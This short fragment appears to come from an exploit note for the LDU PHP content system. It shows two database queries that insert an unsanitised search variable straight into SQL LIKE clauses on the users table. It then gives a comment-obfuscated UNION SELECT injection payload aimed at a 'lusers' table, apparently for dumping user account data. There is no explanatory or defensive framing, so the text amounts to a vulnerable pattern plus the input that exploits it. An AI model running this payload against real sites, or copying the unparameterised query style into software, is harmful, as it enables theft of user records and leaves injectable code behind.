$sql = ldu_query("SELECT COUNT(*) FROM $db_users WHERE user_name LIKE '%$y%' AND user_level<=99");
$sql = ldu_query("SELECT * FROM $db_users WHERE user_name LIKE '%$y%' AND user_level<=99 ORDER BY user_name ASC LIMIT $d,".$cfg);
'/**/UNION/**/SELECT/**/null/**/FROM/**/lusers/*